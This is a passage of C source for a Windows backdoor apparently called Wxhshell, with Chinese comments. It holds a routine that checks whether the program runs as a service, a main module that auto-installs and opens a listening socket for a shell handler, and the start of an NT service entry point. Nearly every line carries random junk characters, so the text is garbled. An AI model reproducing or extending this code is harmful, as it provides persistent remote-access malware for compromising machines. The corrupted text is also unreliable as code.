} PROCESS_BASIC_INFORMATION; C`.eJF
G e5Yz.Qv
PROCNTQSIP NtQueryInformationProcess; byMy-v;
)l.uj
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *j,bI Y&se
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )=`DEbT
`'>~(8&zE
HANDLE hProcess; R
eb.x_
PROCESS_BASIC_INFORMATION pbi; Q1ayd$W@<
fM|s,'Q1x
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }q'IY:r
if(NULL == hInst ) return 0; U OGjil{.
v*FbvrY
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [@JK|50|K
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");
+ u*Pi
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;#S]mso1
/xcXd+k]
if (!NtQueryInformationProcess) return 0; 6\jbSe
D$>&K&
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *wY+yoj
if(!hProcess) return 0; iH@u3[w
nnvS.s`O
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !]Qk?T~9-
B~|]gd
CloseHandle(hProcess); R9Wr?
#5kclu%L$
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "\T-r 2
if(hProcess==NULL) return 0; <2L,+
%{pjC7j#
HMODULE hMod; 68(^*
char procName[255]; Bha("kG
unsigned long cbNeeded; 9v;HE{>
L N.:>,
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6xwjKh:9
e$WAf`*
CloseHandle(hProcess); 6({)O1Z
[]aw;\7}Y
if(strstr(procName,"services")) return 1; // 以服务启动 %<+uJ'pj
3$q#^UvD
return 0; // 注册表启动 GDe,n
} UKV<Ye|
@"A
5yD5
// 主模块 WT")tjVKA
int StartWxhshell(LPSTR lpCmdLine) _|cSXZ|
{ TQ:5@1aT
SOCKET wsl; k;`1Ia
BOOL val=TRUE; 85)C7tJ-g
int port=0; F$jy~W_
struct sockaddr_in door; &|}QdbW
Mis B&Ok`k
if(wscfg.ws_autoins) Install(); i$$h6P#
}9W[7V?
port=atoi(lpCmdLine); oXqJypR 2
qg1\ABH
if(port<=0) port=wscfg.ws_port; l&qyLL2
w
MRK=\qjD
WSADATA data; upk+L^
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FN<>L0
HeO&p@
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; l2YClK
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K(lSR
door.sin_family = AF_INET; OcPgw/
I
door.sin_addr.s_addr = inet_addr("127.0.0.1"); H!hd0.
door.sin_port = htons(port); BqHqS
{r$Ewc$Yb7
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1a V32oK
closesocket(wsl); iGz*4^%
return 1; hmOGteAf-
} FG{,l=Z0
x V`l6QS
if(listen(wsl,2) == INVALID_SOCKET) { 4 qY
closesocket(wsl); `-P1Y
return 1; 1KGf @u%-1
} ,!alNNY
Wxhshell(wsl); 00f'G2n
WSACleanup(); .5!`wwVi
,7:-V<'Yv
return 0; U^
,!
i2(v7Gef
} !.q99DB
}F/w34+;
// 以NT服务方式启动 jP_s(PQ
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~_"V7
{ [>pBz3fn,
DWORD status = 0; @_$$'XA7
DWORD specificError = 0xfffffff; V!Sm,S(
@x}^2FE
serviceStatus.dwServiceType = SERVICE_WIN32; G~bDl:k`A
serviceStatus.dwCurrentState = SERVICE_START_PENDING; O CIoY?a
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0A~UuH0.
serviceStatus.dwWin32ExitCode = 0; 3(|,:"9g
serviceStatus.dwServiceSpecificExitCode = 0; (3D&